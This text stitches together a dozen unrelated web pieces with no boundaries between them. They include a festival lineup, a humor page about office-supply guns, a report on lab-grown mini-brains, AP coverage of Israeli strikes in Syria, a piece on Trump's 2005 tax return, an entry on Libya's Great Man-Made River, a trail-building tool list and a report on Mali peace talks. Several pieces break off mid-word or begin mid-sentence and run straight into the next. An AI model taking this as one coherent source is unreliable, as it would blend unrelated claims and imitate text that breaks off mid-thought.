Also playing are Matt & Kim, Kacey Musgraves, A-Trak, Fitz & The Tantrums, OK Go, The Head and the Heart, Mayer Hawthrone, Holy Ghost!, MS MR, Panic at the Disco, Neon Trees, Tycho, St. Lucia, RAC, The Orwells, Ryan Hemsworth, J Roddy Walston and The Business, St. Paul & The Broken Bones, Trampled by Turtles, and The Preatures, among others.
Tickets will go on sale Thursday, June 26th at 10:00am PST.
See the full lineup below:
Kanye West
Foo Fighters
OutKast
Arctic Monkeys
Skrillex
Lionel Richie
The Weeknd
The Flaming Lips
TV on the Radio
The Roots
Girl Talk
Alt-J
Broken Bells
A-Trak
Kacey Musgraves
Fitz & The Tantrums
Phantogram
The Head and The Heart
Panic! At The Disco
Matt & Kim
Neon Trees
Jenny Lewis
G-Eazy
OK GO
Tycho
Mayer Hawthorne
Switchfoot
tUnE-yArDs
MS MR
RAC
Holy Ghost!
Trampled By Turtles
St. Lucia
Dizzy Wright
Galantis
St. Paul & The Broken Bones
Ryan Hemsworth
Mø
DJ Mustard
Vintage Trouble
J Roddy Walston and The Business
The Orwells
Ásgeir
M4SONIC
Sleeper Agent
The Preatures
DJ Cassidy
MisterWives
ASTR
holychild
Night Terrors of 1927
Nostalghia
Catfish and The Bottlemen
Paper Route
Rusty Maples
Moksha
Ekoh
Sabriel
American Cream
Rabbit
Albi Loves Chicken TendersWelcome
Welcome to the official OfficeGuns website. Use the menu on the left to navigate.
Check out the new Ruler of the office and the Cluster Maul.
Do also check out the pictures some of our visitors has sent us.
It started in a meeting. We were playing bullshit bingo, and on the third round I thought to myself: "Oh my God! Can't someone just shoot that bastard?" I was getting tired of bullshit bingo and was fingering with some office supplies. As a sworn Lego-fan, I always try to connect things together. I was connecting two Maulies, then suddenly one of them flew across the room and hit the boring speaker right on the nose. He got a nose-bleed and had to stop the presentation early.
Later that week, people came in to thank me. Some even brought chocolate. But most of them wanted to know where I had bought that fabulous gun. I showed them how it was made. They were thrilled and from that day on, we haven't had a single boring presentation.
Someone said to me that I could patent the use of the Maulies and sell the ideas. But I told him: "There is enough greed in the world. I want to help people. I want their life to be a better life. I want them to have what I have. A whole range of guns. Made from office supplies."
Testimonies
"Before, I spent most of my salary at thinkgeek.com on toy weapons for the office. A net-friend told me about OfficeGuns. Now I can build my own for free and use the money on this nifty green laser."
- Giovanni, Varese, Italy
"I used to get all the boring assignments at the office. Now my boss does not dare and gives them to Brian. Thank you OfficeGuns!"
- Stan, Builth, Wales
"Life at work was peachy. Stan got all the boring assignments and I could surf all day. Now the boss comes to me with these assignments. But times are changing. I've found OfficeGuns"
- Brian, Builth, Wales
"Life as a supervisor used to be quite simple. I could delegate boring assignments to my two clueless assistants: Brian and Stan. Now they have found OfficeGuns. I do not dare approach them with boring assignments anymore. I have to do them myself. Thanks alot! >:-("
- Reg, Builth, Wales
"My husband Bubba used to come home from work all pissed off. He did not get the same respect at the office as he gets at home from me and our 5 children. But now, thanks to OfficeGuns, he can get the respect both at the office and at home. Thanks OfficeGuns!"
- Becky, Lubbock, Texas, USA
"I used to make guns from office accessories myself, but after a few accidents and some not-really-needed limbs later I've turned to OfficeGuns for the safe and tested stuff."
- Wilhelm, Peiss, Germany
Note: We never said these guns were safe! But they are tested.
"I used to be fat and without friends at the office. In meetings, I was afraid to come forward with my opinions. Then a friend told me about OfficeGuns. Now when I sit in meetings and disagree, I just shoot the bastard. I've lost weight thanks to higher confidence and now Brady is the fat friendless one. Thank you Office |
traits or certain diseases can be used to create mini-brains to study various types of pharmaceuticals. He says the mini-brains can be used to study Alzheimer's disease, Parkinson's disease, multiple sclerosis, and even autism. Projects to study viral infections, trauma, and stroke have been started.
Hartung's mini-brains are very small—at 350 micrometers in diameter, they are about the size of the eye of a housefly and are just visible to the human eye—and hundreds to thousands of exact copies can be produced in each batch. One hundred of them can grow easily in the same petri dish in the lab. After about two months, the mini-brains developed four types of neurons and two types of support cells. They even showed spontaneous electrophysiological activity, which could be recorded with electrodes, similar to an electroencephalogram, or EEG. To test them, researchers placed a mini-brain on an array of electrodes and listened to the spontaneous electrical communication of the neurons as test drugs were added.
Hartung is applying for a patent and is also developing a commercial entity to produce mini-brains, perhaps starting this year. He says they are easily reproducible and hopes to see them in as many labs as possible.
"We don't have the first brain model, nor are we claiming to have the best one," says Hartung, who also directs the School's Center for Alternatives to Animal Testing. "But this is the most standardized one. And when testing drugs, it is imperative that the cells being studied are as similar as possible to ensure the most comparable and accurate results."Syria responds to Israeli air strikes The country's government has called the attacks a "flagrant violation of international law"
BEIRUT (AP) -- Israel rushed to beef up its rocket defenses on its northern border Sunday to shield against possible retaliation after carrying out two airstrikes in Syria over 48 hours - an unprecedented escalation of Israeli involvement in the Syrian civil war.
Syria and its patron Iran hinted at possible retribution, though the rhetoric in official statements appeared relatively muted.
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Despite new concerns about a regional war, Israeli officials signaled they will keep trying to block what they see as an effort by Iran to send sophisticated weapons to Lebanon's Hezbollah militia ahead of a possible collapse of Syrian President Bashar Assad's regime.
Israel has repeatedly threatened to intervene in the Syrian civil war to stop the transfer of what it calls "game-changing" weapons to Hezbollah, a Syrian-backed group that battled Israel to a stalemate during a monthlong war in 2006.
Since carrying out a lone airstrike in January that reportedly destroyed a shipment of anti-aircraft missiles headed to Hezbollah, Israel had largely stayed on the sidelines. That changed over the weekend with a pair of airstrikes, including an attack near a sprawling military complex close to the Syrian capital of Damascus early Sunday that set off a series of powerful explosions.
The Israeli government and military refused to comment. But a senior Israeli official said both airstrikes targeted shipments of Fateh-110 missiles bound for Hezbollah. The Iranian-made guided missiles can fly deep into Israel and deliver powerful half-ton bombs with pinpoint accuracy. The official spoke on condition of anonymity because he was discussing a covert military operation.
Syria's government called the attacks a "flagrant violation of international law" that has made the Middle East "more dangerous." It also claimed the Israeli strikes proved the Jewish state's links to rebel groups trying to overthrow Assad's regime.
Syria's information minister, Omran al-Zoubi, reading a Cabinet statement after an emergency government meeting, said Syria has the right and duty "to defend its people by all available means."
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Israeli defense officials believe Assad has little desire to open a new front with Israel when he is preoccupied with the survival of his regime. More than 70,000 people have been killed since the uprising against Assad erupted in March 2011, and Israeli officials believe it is only a matter of time before Assad is toppled.
Still, Israel seemed to be taking the Syrian threats seriously. Israel's military deployed two batteries of its Iron Dome rocket defense system to the north of the country Sunday. It described the move as part of "ongoing situational assessments."
Israel says the Iron Dome shot down hundreds of incoming short-range rockets during eight days of fighting against Hamas militants in the Gaza Strip last November. Hezbollah fired some 4,000 rockets into Israel during the 2006 war, and Israel believes the group now possesses tens of thousands of rockets and missiles.
The Iron Dome deployment followed a surprise Israeli drill last week in which several thousand reservists simulated conflict in the north. In another possible sign of concern, Israel closed the airspace over northern Israel to civilian flights on Sunday and tightened security at embassies overseas, Israeli media reported. Israeli officials would not confirm either measure.
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Reflecting fears of ordinary Israelis, the country's postal service, which helps distribute government-issue gas masks, said demand jumped to four times the normal level Sunday.
Israel's deputy defense minister, Danny Danon, would neither confirm nor deny the airstrikes. He said, however, that Israel "is guarding its interests and will continue to do so in the future."
"Israel cannot allow weapons, dangerous weapons, to get into the hands of terror organizations," he told Army Radio.
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Israeli defense officials have identified several strategic weapons that they say cannot be allowed to reach Hezbollah. They include Syrian chemical weapons, the Iranian Fateh-110s, long-range Scud missiles, Yakhont missiles capable of attacking naval ships from the coast, and Russian SA-17 anti-aircraft missiles. Israel's airstrike in January destroyed a shipment of SA-17s meant for Hezbollah, according to U.S. officials.
Israeli officials said Sunday they believe that Iran is stepping up its efforts to smuggle weapons through Syria to Hezbollah because of concerns that Assad's days are numbered.
They said the Fateh-110s reached Syria last week. Friday's airstrike struck a site at the Damascus airport where the missiles were being stored, while the second series of airstrikes early Sunday targeted the remnants of the shipment, which had been moved to three nearby locations, the officials said.
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None of the Iranian missiles are believed to have reached Lebanon, said the officials, who spoke on condition of anonymity because they were discussing a classified intelligence assessment.
The attacks pose a dilemma for the embattled Assad regime.
If it fails to respond, it looks weak and opens the door to more airstrikes. But any military retaliation against Israel would risk dragging the Jewish state and its powerful army into a broader conflict. With few exceptions, Israel and Syria have not engaged in direct fighting in roughly 40 years.
The airstrikes come as Washington considers how to respond to indications the Syrian regime may have used chemical weapons in its civil war. President Barack Obama has described the use of such weapons as a "red line," and the administration is weighing its options.
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The White House declined for a second day to comment directly on Israel's air strikes in Syria, but said Obama believes Israel, as a sovereign nation, has the right to defend itself against threats from Hezbollah.
"The Israelis are justifiably concerned about the threat posed by Hezbollah obtaining advanced weapons systems, including some long-range missiles," said White House spokesman Josh Earnest. He said the U.S. was in "close coordination" with Israel but would not elaborate.
British Foreign Secretary William Hague also seemed to back Israel, telling Sky News that "all countries have to look after their own national security."
Iran condemned the airstrikes, and a senior official hinted at possible retribution from Hezbollah.
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Gen. Masoud Jazayeri, assistant to the Iranian chief of staff, told Iran's state-run Arabic-language Al-Alam TV that Tehran "will not allow the enemy (Israel) to harm the security of the region." He added that "the resistance will retaliate to the Israeli aggression against Syria." "Resistance" is a term used for Hezbollah and the Palestinian Hamas, another anti-Israel militant group supported by Iran.
Iran has provided both financial and military support to Hezbollah for decades and has used Syria as a conduit for both. If Assad were to fall, that pipeline could be cut, dealing a serious blow to Hezbollah's ability to confront Israel.
Israel appears to be taking a calculated risk that its strikes will not invite retaliation from Syria, Hezbollah or even Iran.
But Salman Shaikh of the Brookings Doha Center in Qatar warned: "All this could lead us into a wider conflict."
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Federman reported from Jerusalem. Associated Press writers Ian Deitch and Diaa Hadid in Jerusalem and Bassem Mroue and Ryan Lucas in Beirut contributed to this story.When I hit my twenties, the BMW K1 was impossibly glamorous. It was the poster bike for motorcycling. As a casual observer, I didn’t realise it was BMW’s attempt to appeal to younger riders, seduced by Japanese sportsbikes such as the Suzuki GSX-R1100. And I didn’t know that BMW’s engineering and quality control—for once—was deeply flawed. To me, the K1 was the kind of motorcycle Luke Skywalker would ride if he existed in real life: a blend of warp speed power and futuristic styling.
It was a machine straight from the pages of JG Ballard’s Vermillion Sands: glossy, lurid and bizarre, a vehicle for the wealthy and disaffected. (For what little it’s worth, it was also the world’s first production motorcycle with a three-way catalytic converter.) The 987 cc, 100 bhp K1 sold less than 7,000 units between 1988 and 1993, and its dynamics were trumped by machines such as the Honda CBR600F. But it’s still beautiful two decades later. And it broke the mould in the realms of styling and marketing, catching the eye of people who would never have otherwise looked at a motorcycle. I’d still choose one today over any 1990s Japanese or American bike—and not just because it’s the only motorcycle you can ride while wearing a scarlet leather one-piece.On his radio program yesterday, Bryan Fischer took a call from a listener who suggested that every lawyer that works for the federal government ought to be required to attend and pass a class taught by right-wing pseudo-historian David Barton before being hired.
Fischer, of course, thought that was a great idea and suggested that it ought to apply to every member of Congress as well.
“I like your idea,” Fischer told the caller. “Everybody, before they take their seat in the halls of Congress, ought to pass an exam on the history of the United States and on the Constitution of the United States administered by David Barton and WallBuilders. I mean, that ought to be a minimum.”
“Let’s see to it,” he declared, “that every congressman has to pass a test on the history of the United States and the Constitution administered by our good friends at WallBuilders.”Ahead Of The Kentucky Derby, 5 Absurd Rules For Naming Racehorses
Enlarge this image toggle caption Andy Lyons/Getty Images Andy Lyons/Getty Images
Itsaknockout, Ocho Ocho Ocho, Keen Ice and American Pharoah.
These are just a few of the oddly named thoroughbreds that will race Saturday at Churchill Downs in the 141st Kentucky Derby — the first leg of the Triple Crown series.
The names for these prize-winning racehorses might be whimsical, but the name-approval process is fairly dull and bureaucratic.
A racehorse owner must first submit the preferred name to The Jockey Club, the body that governs horse racing, says Claire Novak, online features editor for The Blood Horse magazine.
And The Jockey Club has its fair share of odd rules. For example, if you wanted to name your horse after a living person, you would have to get written permission from that individual and submit it to the organization.
Here are some of the best and weirdest rules in the name game:
Names may not exceed 18 characters, including spaces. So that rules out "Supercalifragilisticexpialidocious."
Names may not end in any horse-related term, such as "filly," "stallion," or "mare." "Black Stallion" would be too easy.
A horse may not have a name made entirely out of numbers, and any numbers over 30 have to be completely spelled out. So, nerds, you can't name your horse using binary code.
Finally, you can't use a racetrack or one of the top-tier races as an inspiration for your horse's name, so forget about "Preakness Princess."
Still, owners manage to get creative. Racehorses have been dubbed all manner of names, including 50 Shades of Hay, Effinex (say that one out loud), My Wife Knows Everything and The Wife Doesn't Know. Those last two ended up racing against each other in 2010.
YouTube
The most important rule? You can't submit a racehorse name that already exists. So before you get too attached, make sure to enter your favorite name here to see if it's one of 450,000 names already taken.The MSNBC host hyped up the reveal of President Trump's 2005 tax returns — but there are still a lot of unanswered questions about the President's finances. (Peter Stevenson/The Washington Post)
This post has been updated.
MSNBC's Rachel Maddow had a seemingly big scoop on Tuesday night: A previously unreleased tax return from President Trump.
In the end -- as Maddow acknowledged repeatedly -- the more significant story was actually that this return was leaked to a reporter, not the return itself. The two pages of Trump's 2005 IRS Form 1040 didn't shed much light on the big questions about Trump finances.
Except for one important point: It turns out Trump didn't avoid income taxes for nearly two decades, after all.
The New York Times back in October obtained Trump's state tax return from 1995. Based on that return and the realities of how real estate developers can avoid income taxes due to devaluation of their properties, the newspaper and others deduced that Trump could have avoided paying any income taxes for up to 18 years afterward.
Here's the Times's report at the time, titled "Donald Trump Tax Records Show He Could Have Avoided Taxes for Nearly Two Decades, The Times Found":
Donald J. Trump declared a $916 million loss on his 1995 income tax returns, a tax deduction so substantial it could have allowed him to legally avoid paying any federal income taxes for up to 18 years, records obtained by The New York Times show. The 1995 tax records, never before disclosed, reveal the extraordinary tax benefits that Mr. Trump, the Republican presidential nominee, derived from the financial wreckage he left behind in the early 1990s through mismanagement of three Atlantic City casinos, his ill-fated foray into the airline business and his ill-timed purchase of the Plaza Hotel in Manhattan. Tax experts hired by The Times to analyze Mr. Trump’s 1995 records said that tax rules especially advantageous to wealthy filers would have allowed Mr. Trump to use his $916 million loss to cancel out an equivalent amount of taxable income over an 18-year period.
The new return, as The Post is reporting, shows Trump paid about $38 million in income taxes on more than $150 million in income in 2005, for a tax rate of about 25 percent.
seems to be playing out well pic.twitter.com/ko7p88svmF — Matt Bruenig (@MattBruenig) March 15, 2017
The White House has confirmed those figures, while accusing MSNBC of illegally releasing the return. And Trump attacked the journalist behind the release, David Cay Johnston, on Wednesday morning.
Does anybody really believe that a reporter, who nobody ever heard of, "went to his mailbox" and found my tax returns? @NBCNews FAKE NEWS! — Donald J. Trump (@realDonaldTrump) March 15, 2017
But the White House may be protesting too much. While Trump may want to discourage similar disclosures in the future, this particular return suggests the worst assumptions about Trump's tax habits haven't been borne out. That doesn't erase the myriad other questions which we unfortunately haven't been able to answer given Trump's decision to break with decades of precedent on not release his returns, but it is news.
Indeed, if there were a return to release, this might actually be a good one for Trump. And Johnston said in his interview with Maddow that the return was mailed to him anonymously and may have even come from Trump.
"It's entirely possible that Donald sent this to me," he said in his first comments, citing Trump's habit of leaking things about himself. (The documents read "client copy," which adds to that idea.)
During the campaign, though, Trump didn't exactly throw cold water on the idea of not paying income taxes for all those years, suggesting that if he avoided income taxes for that period of time, it would be "smart."
Here's a debate exchange with Hillary Clinton from just before the Times report, when she suggested he didn't pay income taxes:
CLINTON: Or maybe [the reason Trump doesn't release his tax returns is that] he doesn't want the American people, all of you watching tonight, to know that he's paid nothing in federal taxes, because the only years that anybody's ever seen were a couple of years when he had to turn them over to state authorities when he was trying to get a casino license, and they showed he didn't pay any federal income tax. TRUMP: That makes me smart.
The Trump campaign released a statement after the Times report to the same effect. "Mr. Trump is a highly-skilled businessman who has a fiduciary responsibility to his business, his family and his employees to pay no more tax than legally required," his campaign said at the time.
It seemed to be a liability at the time, yet Trump didn't disclose anything more. And he still won.
Apparently he could have.Great Man-Made River (GMR), a network of underground pipelines bringing high-quality fresh water from ancient underground aquifers deep in the Sahara to the coast of Libya for domestic use, agriculture, and industry. The GMR was originally conceived as having several arms, or phases, though not all have been built and some may never be. Nevertheless, since 1991 the project has supplied much-needed irrigation and drinking water to populous cities and farming areas in Libya’s north, which previously were dependent on desalination plants and on declining rain-fed aquifers near the coast.
Existing and projected pipelines of Libya's Great Man-Made River irrigation project. Encyclopædia Britannica, Inc.
Infrared satellite image of the Grand Omar Mukhtar reservoir (dark blue circle), part of Libya's Great Man-Made River water supply system, near Banghāzī, Libya. Irrigated fields display as red circles and rectangles. Jesse Allen, NASA Earth Observatory using data provided courtesy of NASA/GSFC/METI/ERSDAC/JAROS, and U.S./Japan ASTER Science Team
Water was first discovered in the Al-Kufrah area in Libya’s southeastern desert in the 1950s during exploration drilling for oil. Subsequent analysis indicated that this find was part of the Nubian Sandstone Aquifer System, a vast reservoir of “fossil water” that is anywhere from 10,000 to 1,000,000 years old, water having percolated into the sandstone before the end of the last ice age, when the Saharan region enjoyed a temperate climate. Initially, the Libyan government planned to set up large-scale agricultural projects in the desert where the water was found, but plans were changed in the early 1980s, and designs were prepared for a massive network of pipelines to the coast.
In 1983 the Great Man-Made River Authority, established by the government to manage the project, awarded a contract for construction of the first arm, known as GMR 1 or Phase I. Hundreds of water wells were drilled at two fields, Tāzirbū and Sarīr, where water was pumped up from a depth of some 500 metres (1,650 feet). From Sarīr, water from both fields was pumped underground through a double pipeline to a holding reservoir at Ajdābiyā, which received its first water in 1989. From there the water was piped in two directions, west to the coastal city of Surt and north to Banghāzī. The completion of Phase I was formally celebrated at Banghāzī in 1991. GMR 1 is capable of transporting 2 million cubic metres (70.6 million cubic feet) of water per day through some 1,600 km (1,000 miles) of double pipeline between the well fields in the south and the destination cities in the north (though not all of that capacity is used).
A second system, GMR 2 or Phase II, located in western Libya, began supplying Libya’s capital, Tripoli, with drinking water in 1996. GMR 2 draws water from three well fields in the Jabal al-Ḥasāwinah region. From Qaṣr al-Shuwayrif one pipeline pumps water to Tarhūnah in the Nafūsah Plateau region, whence it flows by gravity to the Al-Jifārah Plain. Another pipeline goes north and east to the coast, where it turns west and supplies cities such as Miṣrātah and Al-Khums before ending at Tripoli. The system’s design capacity is 2.5 million cubic metres (roughly 90 million cubic feet) of water a day, though only a fraction of that is needed for drinking water.
When construction began on the GMR, it was described as the largest irrigation project in the world. (Indeed, the Libyan government proudly proclaimed it “the Eighth Wonder of the World.”) Some 70 percent of its capacity is intended to be used for agriculture, and from the beginning the project has included large-scale investments in irrigation infrastructure. The project also includes phases subsequent to GMR 1 and 2. These include an extension of the GMR 1 system southward to well fields in the Al-Kufrah region; a pipeline from wells near Ghadāmis in the western desert to the coastal cities of Al-Zāwiyah and Zuwārah, west of Tripoli; a pipeline connecting the GMR 1 and 2 systems; and a pipeline supplying Tobruk on the eastern coast, either from the existing reservoir at Ajdābiyā or directly from wells in the Al-Jaghbūb oasis. The total capacity of the GMR with all phases built would be some 6.5 million cubic metres (230 million cubic feet) of water per day. The complete network would include some 4,000 km (2,500 miles) of pipeline. Some Libyan officials, citing the enormous size of the underground reservoirs, have claimed that the reservoirs could continue to supply water for thousands of years. Critics have stated that such claims are greatly overstated; some insist that the GMR might not last through the 21st century.
The 250,000 sections of pipe laid in Phase I were said at the time to be the largest in the world, each having a diameter of 4 metres (13 feet) and a length of 7 metres (23 feet). Manufactured in two large factories located in Libya, the pipe was made up of layers of steel-reinforced prestressed concrete. The sections were laid in trenches 7 metres deep by specially built cranes and pushed into place by bulldozers, then the joints were sealed with giant rubber O-rings and cement grout, and the sections of trench were filled in. Open reservoirs located at distribution nodes such as Ajdābiyāh are man-made lakes excavated from the soil and rock and lined with asphalt. The largest reservoir, more than 1 km (0.6 mile) in diameter, holds as much as 24 million cubic metres (848 million cubic feet) of water. Numerous engineering companies from around the world have participated in the GMR project.Building mountain bike trails is a very labor intensive task. Having the right tools can really help the process go a lot quicker and also be less impactful on the environment. A lot of tools that are used for trail building are also heavily used in wildland fire fighting and land management.
In this article I’ve gathered up a pretty comprehensive listing of all the tools you’d need to do most trail work. I’ve included power and manual tools as well as some software and informational resources that should help you greatly when building your next trail.
Commission Disclaimer
Any links to retailers from this article provide a compensation commission back to OldGloryMTB.com for referring customers to their site that buy products. This helps keep us out on the trails checking out new gear to write about here on the site.
Axe / Hatchet
These tools may seem old school compared to using a chainsaw but they can be packed out to the trail easier and don’t need gas to work.
Ames True Temper Axe
Buckets
Suggested Bucket: EcoSmart 5 Gal
Buckets are always handy to move dirt around and carry things like rocks or water.
EcoSmart 5 gallon bucket
Bow Saw
Suggested Bow Saw: Bahco
Easy to use hand saw for cutting limbs and small pieces of wood.
Bahco Bow Saw
Brush Cutter / Weed Trimmer
Suggested Brush Cutter: Husqvarna 323 / Suggested Weed Trimmer: Husqvarna 128DJx
Brush cutters are a lot like a weed trimmer except they usually have a large blade attached instead of string to do the cutting. They are very handy when trying to clear out thick brush and small saplings.
Husqvarna 323 brush saw
Chainsaw
Suggested Chainsaw: Husqvarna 440E 16″
Smaller, lighter chainsaws with shorter bars (14″-16″) are easier to pack into the woods than big ones, however if you need to cut up a big tree you’ll need to pack in one with some power. Check out models from Stihl, Poulan, and Husqvarna.
the Stihl 170 is a popular small chainsaw choic
Clinometer or Inclinometer
Suggested Clinometer: Suuto Tadem
It is an instrument for measuring angles of slope (or tilt), elevation or depression of an object with respect to gravity. It is also known as a tilt meter, tilt indicator, slope alert, slope gauge, gradient meter, gradiometer, level gauge, level meter, declinometer, and pitch & roll indicator. Clinometers measure both inclines (positive slopes, as seen by an observer looking upwards) and declines (negative slopes, as seen by an observer looking downward) using three different units of measure: degrees, percent, and topo.
Suuto Tandem Clinometer and Compass
Come-a-long / Straps
Suggested Come-a-long: Maasdam Pow’r Pull – Made in the USA
Useful for more easily moving large and heavy objects like trees and rocks. The mechanism uses pulleys and ratchets to move heavy loads with much less effort.
Maasdam Pow’r Pull
A good compass is an essential piece of gear for navigating in the woods and orienting yourself and the trail you are building.
Silva Lensatic 360 compass
Flags / Flagging Tape
Suggested Flags: Swanson 21″ Steel Shaft / Suggested Flagging Tape: Presco Stripe
Flags and flagging tape make it easy to mark where the proposed trail should go or special features. You can also mark hazards in the forest or other special areas that need to be marked off.
Swanson Trail Marking Flags
Fire Rake
Suggested Fire Rake: 60″ 4 tooth
The fire rake is a lot like a McLeod/Lamberton rake but the teeth are shaped differently. Some have a preference for their shape for certain raking and brush removing tasks.
Fire Rake
Folding Saw
Suggest Folding Saw: Bahco Laplander 9″
Folding saws are handy because they’re much smaller than a bow saw and can quickly cut through small limbs and saplings. Check to make sure the blade has a locking mechanism for safety like the suggested Bahco Laplander.
Bahco Laplander 9″ locking folding saw
GPS Device
Suggested GPS Devices: DeLorme PN-60, Garmin Oregon 600
GPS Devices are a very nice tool to have the woods when setting up a new trail. The more advanced GPS models offer digital 3 axis compass with altimeter and accelerometer readings. Be mindful of cheaper GPS units as they are not as accurate or powerful.
DeLorme PN-60 GPS
Machete
Suggested Machete: SOG SOGFari MC-02
A machete is a trail blazer’s go to tool for hacking through brush and brambles. By keeping the blade sharp you’ll find making your way through virgin territory is much easier.
SOG SOGFari MC-02 – I especially like this machete because it has serrated saw teeth on the back for cutting thicker items
McLeod / Lamberton Rake
Suggested McLeod: Truper Tru Pro 48″
The McLeod and the Lamberton Rake are essentially the same tool (the Lamberton is available in some different varying blade sizes though). It has a hoe like blade on one side and tined rake on the other. There are a variety of uses for this tool during trail building from cutting to grading and even tamping.
Truper Tru Pro McLeod
Pick Mattock / Cutter Mattock
Suggested Mattock: Ames True Temper Pick Mattock
The Mattock can come in a few different forms. The head is usually two sided with either a pick on one side and a blade on the other or a head with two blades facing opposite directions. I’ve also seen them with a pick or blade with a rake on the other side.
Ames True Temper Pick Mattock – I like the pick mattock more because I don’t need two blades or a rake
Pole Saw / Limb Lopper
Suggested Pole Saw: Fiskers 14′ Tree Pruner
A pole saw is very useful in removing limbs above you on the trail. Sometimes low hanging branches come into the trail or they need cleared out to place a jump. A pole saw with a good sharp limb cutter is a good idea so you can remove small branches quickly to get to the main branch.
Fiskers 14′ tree pruner with power lever limb cutter
Pruning Shears / Loppers
Suggested Pruning Shears: Corona By Pass / Suggested Lopper: Fisker 32″ PowerGear By Pass
For small jobs where bushes and little areas of brush need trimmed back a quick and easy tool to use is a set of pruning shears. For thicker items a set of loppers with more leverage can be used.
Corona By Pass Pruner – I like using a by pass type pruner because they cut through much better than an anvil type cutter where the blade stops on a hard surface
Pry Bar
Suggested Pry Bar: True Temper 71″ Post Hole Digging Bar
Pry bars are used most often to lift up heavy pieces of wood and rocks. There are several types of pry bars available. Some have pointed ends, curved ends, or flat chisel type ends. I prefer the chisel ended pry bar to get under objects easily and use it as a lever to move them.
True Temper Steel 71″ pry bar
Pulaski
Suggested Pulaski: Napula 36″ Power Grip
The Pulaski is much like the cutter mattock. It has an axe on one site of the head and an adze on the other. It is great for chopping and excavating.
Napula Pulaski
Rake
Suggested Rake: Eagle 53″ fiberglass bow rake
Rakes are an essential tool of trail building. They allow you to smooth the trail bed very easily and sweep debris away as you’re building the trail. I like using a metal bow rake for trail building because the tines are stiff and it can easily be flipped over to smooth out dirt.
Eagle 53″ fiberglass handled bow rake
Rogue Hoe / Grub Hoe
multiple shapes and sizes – Suggested Hoe: Rogue Hoe 70H
When you ask about trail building tools this is almost always the first tool you hear people mention. The Rogue Hoe is a grubbing type hoe made in Missouri from agriculture disc blades. The steel used in these blades is extremely tough and durable. Rogue hoes are nice because they come sharpened on 3 sides of the head for excellent bite. Rogue makes a variety of head shapes and sizes and even offers heads with a blade and a rake.
Check out my contest to win a Rogue Tool F70HR hoe rake of your own by sharing your latest trail building story.
Rogue Hoe 70H
Safety gear
This kind of goes without saying but you need to make sure you’re wearing some protective safety gear when building a trail. At a minimum you should be wearing gloves, protective eyewear, and have a first aid kit near by. Make sure you pack along water and sunscreen too.
Medique first aid kit has a lot of great items in it for most small on the trail injuries
Suggested Safety Gear
Cutting pants (for when using a chainsaw)
First Aid Kit
Gloves
Helmet
Shield / Safety glasses
Steel toe boots
Sunscreen
Water
Shovel
Suggested Shovels: Bully Tools Fiberglass Round Point Made In The USA / Bully Tools Fiberglass Square Point Made In The USA
A good shovel is an essential piece of equipment for trail building. The uses are innumerable. It’s usually a good idea to have both a round point and a square point shovel on site. Both have their specialty uses.
Bully Tools round point shovel
Tape Measure
Suggested Tape Measure: Komelon 100ft
When trail building there are lots of measurements to be made. Some measurements are small and some are much larger. A nice 100ft measuring tape is good to have on hand.
I like larger open reel 100ft measuring tapes because they have a large crank and are much harder to lose because of their size.
Topographic Map
Having a good topographic map on hand really allows you to see the lay of the land and the grades within the trail building area. You can go with a traditional paper map that can be printed from online sources or found locally or go with a digital version that can be very detailed but usually costs more money for the software. I’ve included some open source solutions that don’t cost anything to use.
Topofusion software
Wheelbarrow
Suggested Wheelbarrow: Ames True Temper 4 cu ft
Wheelbarrows make transporting dirt and rocks very easy. Wheelbarrows usually come in a few sizes. Smaller 4 cu ft wheelbarrows are easy to maneuver and don’t weigh as much to get out to the trail.
The MAX Multi-Purpose Tool – The MAX is really a system that incorporates seven hand tools into one unit. It is based on a three and a half pound Hudson Bay style ax/sledge mounted on a 34″ fiberglass handle. The complete tool menu includes an Ax/Sledge, a Mattock, a Pick, a Shovel, a Broad Pick, and a heavy-duty reversible Rake and Hoe. Made in the USA.
The MAX multi-purpose tool
The McLaski – Combines the best features of two traditional tools; the McLeod and the Pulaski.
Trail Boss – The Trail Boss is a easily packable tool with a segmented handle. The tool has multiple head attachments so you can work with one head and then switch to another for a different task. The system is nice because it is easily packable and can be made easily into short or long handled tools. Made in the USA.
Where to Buy The Tools Online:
Where to Learn About Building Trails:
Trail Building Recommended Reading:
Training / Seminars
I hope you have found this article useful. If you have any trail tools you like to use let me know in the comments. If you have any other resources for trail building knowledge I’d also love to share those with everyone.To the Editor:
“U.A.E. Competed With Qatar to Host Taliban Embassy, Leaked Emails Show” (news article, Aug. 1) had only half the story about how the Taliban came to call Qatar their second home.
At the encouragement of the United States, the United Arab Emirates was prepared to host a Taliban presence in Abu Dhabi. But the U.A.E. offer also had firm conditions:
First, the Taliban must denounce Al Qaeda and its founder, Osama bin Laden.
Second, the Taliban must recognize the Afghan Constitution.
Third, the Taliban must renounce violence and lay down their weapons.
The Taliban refused all three conditions, and the U.A.E. withdrew its offer. True to form, Qatar imposed no restrictions, and the Taliban eagerly set up shop in Doha, which remains the region’s most active financing, ideological and media hub for extremists.
YOUSEF AL OTAIBA, WASHINGTON
The writer is the United Arab Emirates’ ambassador to Washington.Malian authorities began crisis talks on Saturday with ethnic Tuareg militants after heavy fighting erupted near the rebel-held city of Kidal earlier this week, stoking concerns about staging a presidential election on July 28.
ADVERTISING Read more
Malian authorities and armed ethnic Tuareg rebels began talks on Saturday aimed at resolving the conflict in the north to enable planned nationwide elections to go ahead next month.
"The aim is to find a durable solution to the grave crisis engulfing Mali," said President Blaise Compaore of Burkina Faso which is mediating the negotiations.
"Security is vital for the holding of free and transparent elections," he said, calling for a cessation of renewed hostilities between government troops and rebels.
Tensions remain high in the north after heavy fighting erupted on Wednesday near the rebel-held city of Kidal, stoking concerns about the staging of the presidential election scheduled for July 28.
Kidal, which is prized by the Tuaregs, has been occupied since the end of January by the rebel National Movement for the Liberation of Azawad (MNLA) which has been accused of "ethnic cleansing" in the town.
Fighting erupted in the town of Anefis south of Kidal which left 30 rebels dead and two Malian soldiers wounded, according to the army.
The battles flared after more than 100 black inhabitants were expelled from Kidal, while many others were arrested by the lighter-skinned Tuaregs of the MNLA in an act denounced as "ethnic cleansing" by the Bamako government.
But Mali's army has declared its intention to recapture Kidal before the election in Mali, once a model democracy in troubled west Africa until a coup in March last year.
UN Secretary General Ban Ki-moon's special representative to Mali, Bert Koenders, said he did not believe that the fighting would undermine the talks in the Burkina Faso capital Ouagadougou.
Koenders told reporters in Bamako on Friday that he placed "great hope in the Ou |
